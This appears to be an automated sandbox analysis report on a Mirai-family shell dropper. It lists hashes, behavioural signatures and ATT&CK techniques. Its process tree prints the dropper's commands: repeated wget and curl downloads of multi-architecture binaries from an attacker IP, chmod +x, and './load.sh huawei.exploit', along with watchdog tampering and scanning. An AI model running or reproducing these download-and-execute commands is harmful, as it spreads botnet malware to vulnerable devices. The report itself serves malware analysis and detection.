Analysis
-
max time kernel
149s -
max time network
150s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240729-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
17-10-2024 07:12
Static task
static1
Behavioral task
behavioral1
Sample
R0I24_na.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
R0I24_na.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
R0I24_na.sh
Resource
debian9-mipsbe-20240418-en
General
-
Target
R0I24_na.sh
-
Size
4KB
-
MD5
d97f217a1dad90ac2a811c2684010888
-
SHA1
7aedac430643630d8d80e361279e85bf4a583679
-
SHA256
81a013dd15f6f42dc9b2f72ebfc7b5ecbc3be11b6e7777618bc500fa910102f3
-
SHA512
a98fe8d2822b641beaa27829c6e393974f666bdc502e459ed0e4e27f1213178fe92938960edcf81d4bcc30f7c0aec157dc353f34fb2652bff4c6a75996ac337f
-
SSDEEP
96:vNVjkNw4tNx/oNN7sNdMdEpF7Nn9qNUsBN2mnNRf4N3tiNueXNySjNGWvNPl9:GO4Fk
Malware Config
Extracted
mirai
UNSTABLE
Signatures
-
Contacts a large (222274) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 13 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1666 chmod 1544 chmod 1562 chmod 1580 chmod 1586 chmod 1592 chmod 1598 chmod 1660 chmod 1526 chmod 1538 chmod 1550 chmod 1556 chmod 1568 chmod -
Executes dropped EXE 13 IoCs
ioc pid Process /tmp/load.sh 1527 load.sh /tmp/load.sh 1539 load.sh /tmp/load.sh 1545 load.sh /tmp/load.sh 1551 load.sh /tmp/load.sh 1557 load.sh /tmp/load.sh 1563 load.sh /tmp/load.sh 1569 load.sh /tmp/load.sh 1581 load.sh /tmp/load.sh 1587 load.sh /tmp/load.sh 1593 load.sh /tmp/load.sh 1599 load.sh /tmp/load.sh 1661 load.sh /tmp/load.sh 1667 load.sh -
Modifies Watchdog functionality 1 TTPs 4 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog load.sh File opened for modification /dev/misc/watchdog load.sh File opened for modification /dev/watchdog load.sh File opened for modification /dev/misc/watchdog load.sh -
Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
description ioc Process File opened for reading /proc/net/tcp load.sh -
Enumerates running processes
Discovers information about currently running processes on the system
-
Writes file to system bin folder 4 IoCs
description ioc Process File opened for modification /bin/watchdog load.sh File opened for modification /sbin/watchdog load.sh File opened for modification /bin/watchdog load.sh File opened for modification /sbin/watchdog load.sh -
resource yara_rule behavioral1/files/fstream-1.dat upx behavioral1/files/fstream-4.dat upx behavioral1/files/fstream-5.dat upx behavioral1/files/fstream-6.dat upx behavioral1/files/fstream-7.dat upx -
Changes its process name 2 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself a 1527 load.sh Changes the process name, possibly in an attempt to hide itself a 1599 load.sh -
Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
description ioc Process File opened for reading /proc/net/tcp load.sh -
description ioc Process File opened for reading /proc/695/cmdline load.sh File opened for reading /proc/1125/cmdline load.sh File opened for reading /proc/719/cmdline load.sh File opened for reading /proc/1187/cmdline load.sh File opened for reading /proc/1167/cmdline load.sh File opened for reading /proc/1322/cmdline load.sh File opened for reading /proc/1009/cmdline load.sh File opened for reading /proc/474/cmdline load.sh File opened for reading /proc/1141/cmdline load.sh File opened for reading /proc/1316/cmdline load.sh File opened for reading /proc/1604/cmdline load.sh File opened for reading /proc/1146/cmdline load.sh File opened for reading /proc/1160/cmdline load.sh File opened for reading /proc/1509/cmdline load.sh File opened for reading /proc/619/cmdline load.sh File opened for reading /proc/961/cmdline load.sh File opened for reading /proc/1089/cmdline load.sh File opened for reading /proc/1234/cmdline load.sh File opened for reading /proc/961/cmdline load.sh File opened for reading /proc/689/cmdline load.sh File opened for reading /proc/472/cmdline load.sh File opened for reading /proc/571/cmdline load.sh File opened for reading /proc/1506/cmdline load.sh File opened for reading /proc/474/cmdline load.sh File opened for reading /proc/1232/cmdline load.sh File opened for reading /proc/425/cmdline load.sh File opened for reading /proc/1191/cmdline load.sh File opened for reading /proc/1574/cmdline load.sh File opened for reading /proc/458/cmdline load.sh File opened for reading /proc/1605/cmdline load.sh File opened for reading /proc/1077/cmdline load.sh File opened for reading /proc/1170/cmdline load.sh File opened for reading /proc/1192/cmdline load.sh File opened for reading /proc/486/cmdline load.sh File opened for reading /proc/503/cmdline load.sh File opened for reading /proc/1234/cmdline load.sh File opened for reading /proc/487/cmdline load.sh File opened for reading /proc/1080/cmdline load.sh File opened for reading /proc/685/cmdline load.sh File opened for reading /proc/1505/cmdline load.sh File opened for reading /proc/785/cmdline load.sh File opened for reading /proc/1190/cmdline load.sh File opened for reading /proc/785/cmdline load.sh File opened for reading /proc/1286/cmdline load.sh File opened for reading /proc/1611/cmdline load.sh File opened for reading /proc/1394/cmdline load.sh File opened for reading /proc/1178/cmdline load.sh File opened for reading /proc/1133/cmdline load.sh File opened for reading /proc/424/cmdline load.sh File opened for reading /proc/428/cmdline load.sh File opened for reading /proc/559/cmdline load.sh File opened for reading /proc/1190/cmdline load.sh File opened for reading /proc/1093/cmdline load.sh File opened for reading /proc/1533/cmdline load.sh File opened for reading /proc/492/cmdline load.sh File opened for reading /proc/1146/cmdline load.sh File opened for reading /proc/1012/cmdline load.sh File opened for reading /proc/695/cmdline load.sh File opened for reading /proc/1156/cmdline load.sh File opened for reading /proc/1201/cmdline load.sh File opened for reading /proc/680/cmdline load.sh File opened for reading /proc/1073/cmdline load.sh File opened for reading /proc/1490/cmdline load.sh File opened for reading /proc/1026/cmdline load.sh -
System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1529 wget 1536 curl 1537 cat -
Writes file to tmp directory 27 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.mips wget File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.mpsl wget File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.arm curl File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.ppc curl File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4 wget File opened for modification /tmp/load.sh R0I24_na.sh File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.mips curl File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.arm7 wget File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.arm6 wget File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.ppc wget File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.i686 wget File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86_64 curl File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86 wget File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.arm7 curl File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.i686 curl File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc curl File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.arm5 curl File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.m68k curl File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4 curl File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.mpsl curl File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.arm5 wget File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.arm6 curl File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.m68k wget File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc wget File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.arc wget File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86 curl File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.arm wget
Processes
-
/tmp/R0I24_na.sh/tmp/R0I24_na.sh1⤵
- Writes file to tmp directory
PID:1516 -
/usr/bin/wgetwget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x862⤵
- Writes file to tmp directory
PID:1517
-
-
/usr/bin/curlcurl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x862⤵
- Writes file to tmp directory
PID:1521
-
-
/bin/catcat db0fa4b8db0333367e9bda3ab68b8042.x862⤵PID:1525
-
-
/bin/chmodchmod +x config-err-1OUX9G db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh netplan_v_g5g3la R0I24_na.sh snap-private-tmp ssh-MPhJtsB3VVKJ systemd-private-151e480fd0924888954e80f467817a3a-bolt.service-702Wty systemd-private-151e480fd0924888954e80f467817a3a-colord.service-VPUtWE systemd-private-151e480fd0924888954e80f467817a3a-ModemManager.service-TuP9BW systemd-private-151e480fd0924888954e80f467817a3a-systemd-resolved.service-FM1cwa systemd-private-151e480fd0924888954e80f467817a3a-systemd-timedated.service-FMSGX82⤵
- File and Directory Permissions Modification
PID:1526
-
-
/tmp/load.sh./load.sh huawei.exploit2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Changes its process name
- Reads runtime system information
PID:1527
-
-
/usr/bin/wgetwget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1529
-
-
/usr/bin/curlcurl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1536
-
-
/bin/catcat db0fa4b8db0333367e9bda3ab68b8042.mips2⤵
- System Network Configuration Discovery
PID:1537
-
-
/bin/chmodchmod +x config-err-1OUX9G db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh netplan_v_g5g3la R0I24_na.sh snap-private-tmp ssh-MPhJtsB3VVKJ systemd-private-151e480fd0924888954e80f467817a3a-bolt.service-702Wty systemd-private-151e480fd0924888954e80f467817a3a-colord.service-VPUtWE systemd-private-151e480fd0924888954e80f467817a3a-ModemManager.service-TuP9BW systemd-private-151e480fd0924888954e80f467817a3a-systemd-resolved.service-FM1cwa systemd-private-151e480fd0924888954e80f467817a3a-systemd-timedated.service-FMSGX82⤵
- File and Directory Permissions Modification
PID:1538
-
-
/tmp/load.sh./load.sh huawei.exploit2⤵
- Executes dropped EXE
PID:1539
-
-
/usr/bin/wgetwget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl2⤵
- Writes file to tmp directory
PID:1541
-
-
/usr/bin/curlcurl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl2⤵
- Writes file to tmp directory
PID:1542
-
-
/bin/catcat db0fa4b8db0333367e9bda3ab68b8042.mpsl2⤵PID:1543
-
-
/bin/chmodchmod +x config-err-1OUX9G db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh netplan_v_g5g3la R0I24_na.sh snap-private-tmp ssh-MPhJtsB3VVKJ systemd-private-151e480fd0924888954e80f467817a3a-bolt.service-702Wty systemd-private-151e480fd0924888954e80f467817a3a-colord.service-VPUtWE systemd-private-151e480fd0924888954e80f467817a3a-ModemManager.service-TuP9BW systemd-private-151e480fd0924888954e80f467817a3a-systemd-resolved.service-FM1cwa systemd-private-151e480fd0924888954e80f467817a3a-systemd-timedated.service-FMSGX82⤵
- File and Directory Permissions Modification
PID:1544
-
-
/tmp/load.sh./load.sh huawei.exploit2⤵
- Executes dropped EXE
PID:1545
-
-
/usr/bin/wgetwget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm2⤵
- Writes file to tmp directory
PID:1547
-
-
/usr/bin/curlcurl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm2⤵
- Writes file to tmp directory
PID:1548
-
-
/bin/catcat db0fa4b8db0333367e9bda3ab68b8042.arm2⤵PID:1549
-
-
/bin/chmodchmod +x config-err-1OUX9G db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh netplan_v_g5g3la R0I24_na.sh snap-private-tmp ssh-MPhJtsB3VVKJ systemd-private-151e480fd0924888954e80f467817a3a-bolt.service-702Wty systemd-private-151e480fd0924888954e80f467817a3a-colord.service-VPUtWE systemd-private-151e480fd0924888954e80f467817a3a-ModemManager.service-TuP9BW systemd-private-151e480fd0924888954e80f467817a3a-systemd-resolved.service-FM1cwa systemd-private-151e480fd0924888954e80f467817a3a-systemd-timedated.service-FMSGX82⤵
- File and Directory Permissions Modification
PID:1550
-
-
/tmp/load.sh./load.sh huawei.exploit2⤵
- Executes dropped EXE
PID:1551
-
-
/usr/bin/wgetwget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm52⤵
- Writes file to tmp directory
PID:1553
-
-
/usr/bin/curlcurl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm52⤵
- Writes file to tmp directory
PID:1554
-
-
/bin/catcat db0fa4b8db0333367e9bda3ab68b8042.arm52⤵PID:1555
-
-
/bin/chmodchmod +x config-err-1OUX9G db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh netplan_v_g5g3la R0I24_na.sh snap-private-tmp ssh-MPhJtsB3VVKJ systemd-private-151e480fd0924888954e80f467817a3a-bolt.service-702Wty systemd-private-151e480fd0924888954e80f467817a3a-colord.service-VPUtWE systemd-private-151e480fd0924888954e80f467817a3a-ModemManager.service-TuP9BW systemd-private-151e480fd0924888954e80f467817a3a-systemd-resolved.service-FM1cwa systemd-private-151e480fd0924888954e80f467817a3a-systemd-timedated.service-FMSGX82⤵
- File and Directory Permissions Modification
PID:1556
-
-
/tmp/load.sh./load.sh huawei.exploit2⤵
- Executes dropped EXE
PID:1557
-
-
/usr/bin/wgetwget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm62⤵
- Writes file to tmp directory
PID:1559
-
-
/usr/bin/curlcurl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm62⤵
- Writes file to tmp directory
PID:1560
-
-
/bin/catcat db0fa4b8db0333367e9bda3ab68b8042.arm62⤵PID:1561
-
-
/bin/chmodchmod +x config-err-1OUX9G db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh netplan_v_g5g3la R0I24_na.sh snap-private-tmp ssh-MPhJtsB3VVKJ systemd-private-151e480fd0924888954e80f467817a3a-bolt.service-702Wty systemd-private-151e480fd0924888954e80f467817a3a-colord.service-VPUtWE systemd-private-151e480fd0924888954e80f467817a3a-ModemManager.service-TuP9BW systemd-private-151e480fd0924888954e80f467817a3a-systemd-resolved.service-FM1cwa systemd-private-151e480fd0924888954e80f467817a3a-systemd-timedated.service-FMSGX82⤵
- File and Directory Permissions Modification
PID:1562
-
-
/tmp/load.sh./load.sh huawei.exploit2⤵
- Executes dropped EXE
PID:1563
-
-
/usr/bin/wgetwget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm72⤵
- Writes file to tmp directory
PID:1565
-
-
/usr/bin/curlcurl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm72⤵
- Writes file to tmp directory
PID:1566
-
-
/bin/catcat db0fa4b8db0333367e9bda3ab68b8042.arm72⤵PID:1567
-
-
/bin/chmodchmod +x config-err-1OUX9G db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh netplan_v_g5g3la R0I24_na.sh snap-private-tmp ssh-MPhJtsB3VVKJ systemd-private-151e480fd0924888954e80f467817a3a-bolt.service-702Wty systemd-private-151e480fd0924888954e80f467817a3a-colord.service-VPUtWE systemd-private-151e480fd0924888954e80f467817a3a-ModemManager.service-TuP9BW systemd-private-151e480fd0924888954e80f467817a3a-systemd-resolved.service-FM1cwa systemd-private-151e480fd0924888954e80f467817a3a-systemd-timedated.service-FMSGX82⤵
- File and Directory Permissions Modification
PID:1568
-
-
/tmp/load.sh./load.sh huawei.exploit2⤵
- Executes dropped EXE
PID:1569
-
-
/usr/bin/wgetwget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc2⤵
- Writes file to tmp directory
PID:1571
-
-
/usr/bin/curlcurl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc2⤵
- Writes file to tmp directory
PID:1578
-
-
/bin/catcat db0fa4b8db0333367e9bda3ab68b8042.ppc2⤵PID:1579
-
-
/bin/chmodchmod +x config-err-1OUX9G db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh netplan_v_g5g3la R0I24_na.sh snap-private-tmp ssh-MPhJtsB3VVKJ systemd-private-151e480fd0924888954e80f467817a3a-bolt.service-vrCT9E systemd-private-151e480fd0924888954e80f467817a3a-colord.service-VPUtWE systemd-private-151e480fd0924888954e80f467817a3a-ModemManager.service-TuP9BW systemd-private-151e480fd0924888954e80f467817a3a-systemd-resolved.service-FM1cwa systemd-private-151e480fd0924888954e80f467817a3a-systemd-timedated.service-FMSGX82⤵
- File and Directory Permissions Modification
PID:1580
-
-
/tmp/load.sh./load.sh huawei.exploit2⤵
- Executes dropped EXE
PID:1581
-
-
/usr/bin/wgetwget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.m68k2⤵
- Writes file to tmp directory
PID:1583
-
-
/usr/bin/curlcurl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.m68k2⤵
- Writes file to tmp directory
PID:1584
-
-
/bin/catcat db0fa4b8db0333367e9bda3ab68b8042.m68k2⤵PID:1585
-
-
/bin/chmodchmod +x config-err-1OUX9G db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh netplan_v_g5g3la R0I24_na.sh snap-private-tmp ssh-MPhJtsB3VVKJ systemd-private-151e480fd0924888954e80f467817a3a-bolt.service-vrCT9E systemd-private-151e480fd0924888954e80f467817a3a-colord.service-VPUtWE systemd-private-151e480fd0924888954e80f467817a3a-ModemManager.service-TuP9BW systemd-private-151e480fd0924888954e80f467817a3a-systemd-resolved.service-FM1cwa systemd-private-151e480fd0924888954e80f467817a3a-systemd-timedated.service-FMSGX82⤵
- File and Directory Permissions Modification
PID:1586
-
-
/tmp/load.sh./load.sh huawei.exploit2⤵
- Executes dropped EXE
PID:1587
-
-
/usr/bin/wgetwget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.spc2⤵
- Writes file to tmp directory
PID:1589
-
-
/usr/bin/curlcurl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.spc2⤵
- Writes file to tmp directory
PID:1590
-
-
/bin/catcat db0fa4b8db0333367e9bda3ab68b8042.spc2⤵PID:1591
-
-
/bin/chmodchmod +x config-err-1OUX9G db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.spc db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh netplan_v_g5g3la R0I24_na.sh snap-private-tmp ssh-MPhJtsB3VVKJ systemd-private-151e480fd0924888954e80f467817a3a-bolt.service-vrCT9E systemd-private-151e480fd0924888954e80f467817a3a-colord.service-VPUtWE systemd-private-151e480fd0924888954e80f467817a3a-ModemManager.service-TuP9BW systemd-private-151e480fd0924888954e80f467817a3a-systemd-resolved.service-FM1cwa systemd-private-151e480fd0924888954e80f467817a3a-systemd-timedated.service-FMSGX82⤵
- File and Directory Permissions Modification
PID:1592
-
-
/tmp/load.sh./load.sh huawei.exploit2⤵
- Executes dropped EXE
PID:1593
-
-
/usr/bin/wgetwget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.i6862⤵
- Writes file to tmp directory
PID:1595
-
-
/usr/bin/curlcurl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.i6862⤵
- Writes file to tmp directory
PID:1596
-
-
/bin/catcat db0fa4b8db0333367e9bda3ab68b8042.i6862⤵PID:1597
-
-
/bin/chmodchmod +x config-err-1OUX9G db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.i686 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.spc db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh netplan_v_g5g3la R0I24_na.sh snap-private-tmp ssh-MPhJtsB3VVKJ systemd-private-151e480fd0924888954e80f467817a3a-bolt.service-vrCT9E systemd-private-151e480fd0924888954e80f467817a3a-colord.service-VPUtWE systemd-private-151e480fd0924888954e80f467817a3a-ModemManager.service-TuP9BW systemd-private-151e480fd0924888954e80f467817a3a-systemd-resolved.service-FM1cwa systemd-private-151e480fd0924888954e80f467817a3a-systemd-timedated.service-FMSGX82⤵
- File and Directory Permissions Modification
PID:1598
-
-
/tmp/load.sh./load.sh huawei.exploit2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Writes file to system bin folder
- Changes its process name
- Reads system network configuration
- Reads runtime system information
PID:1599
-
-
/usr/bin/wgetwget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.sh42⤵
- Writes file to tmp directory
PID:1601
-
-
/usr/bin/curlcurl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.sh42⤵
- Writes file to tmp directory
PID:1608
-
-
/bin/catcat db0fa4b8db0333367e9bda3ab68b8042.sh42⤵PID:1659
-
-
/bin/chmodchmod +x config-err-1OUX9G db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.i686 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.sh4 db0fa4b8db0333367e9bda3ab68b8042.spc db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh netplan_v_g5g3la R0I24_na.sh snap-private-tmp ssh-MPhJtsB3VVKJ systemd-private-151e480fd0924888954e80f467817a3a-bolt.service-tTB992 systemd-private-151e480fd0924888954e80f467817a3a-colord.service-VPUtWE systemd-private-151e480fd0924888954e80f467817a3a-ModemManager.service-TuP9BW systemd-private-151e480fd0924888954e80f467817a3a-systemd-resolved.service-FM1cwa2⤵
- File and Directory Permissions Modification
PID:1660
-
-
/tmp/load.sh./load.sh huawei.exploit2⤵
- Executes dropped EXE
PID:1661
-
-
/usr/bin/wgetwget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86_642⤵PID:1663
-
-
/usr/bin/curlcurl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86_642⤵
- Writes file to tmp directory
PID:1664
-
-
/bin/catcat db0fa4b8db0333367e9bda3ab68b8042.x86_642⤵PID:1665
-
-
/bin/chmodchmod +x config-err-1OUX9G db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.i686 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.sh4 db0fa4b8db0333367e9bda3ab68b8042.spc db0fa4b8db0333367e9bda3ab68b8042.x86 db0fa4b8db0333367e9bda3ab68b8042.x86_64 load.sh netplan_v_g5g3la R0I24_na.sh snap-private-tmp ssh-MPhJtsB3VVKJ systemd-private-151e480fd0924888954e80f467817a3a-bolt.service-tTB992 systemd-private-151e480fd0924888954e80f467817a3a-colord.service-VPUtWE systemd-private-151e480fd0924888954e80f467817a3a-ModemManager.service-TuP9BW systemd-private-151e480fd0924888954e80f467817a3a-systemd-resolved.service-FM1cwa2⤵
- File and Directory Permissions Modification
PID:1666
-
-
/tmp/load.sh./load.sh huawei.exploit2⤵
- Executes dropped EXE
PID:1667
-
-
/usr/bin/wgetwget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arc2⤵
- Writes file to tmp directory
PID:1668
-
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
33KB
MD56d1b6e91b1e2037fbf62ca7ddcf04932
SHA1d0769095ec2e678074eb206b3537022129c1a776
SHA2567f307860b88d639313ebd4195f1ef6a8d668d1941c6cbf6dc968961b1fe42782
SHA5127397ef3b4f7d34b0637de721f38ac833ad6d526e9b7cdbc08fdb4b261fa675001a8079ff4b9378fa219090a945126832cb1ab3db86b35da0090b20051d31bb38
-
Filesize
35KB
MD5fd5d7deebbb62aee931a1701a1042450
SHA14adc94ce9de13647815a16d6514b73e109c80785
SHA2567a36bd7a9d19b6d48807264712141dd0543ffebd9db923a76799ffd687f352c9
SHA512cb7beeb8d88ad48ac447b69b215738cdf1d706cb88c4945d0a0837c07dfe41a74107f9c4d7fccc5c7e5719ee9a912452ba3c53c360252bd46978f5d27c1b6df4
-
Filesize
37KB
MD5144cc0c6dfb6f6e395065b02825a9ad1
SHA1dfe5d7d8bef4511b42be1ae0235f7469d97bf789
SHA256117cd63b79b8c0d3753ac6907206872d6527c2d6a641776c1021302d5dcec2b2
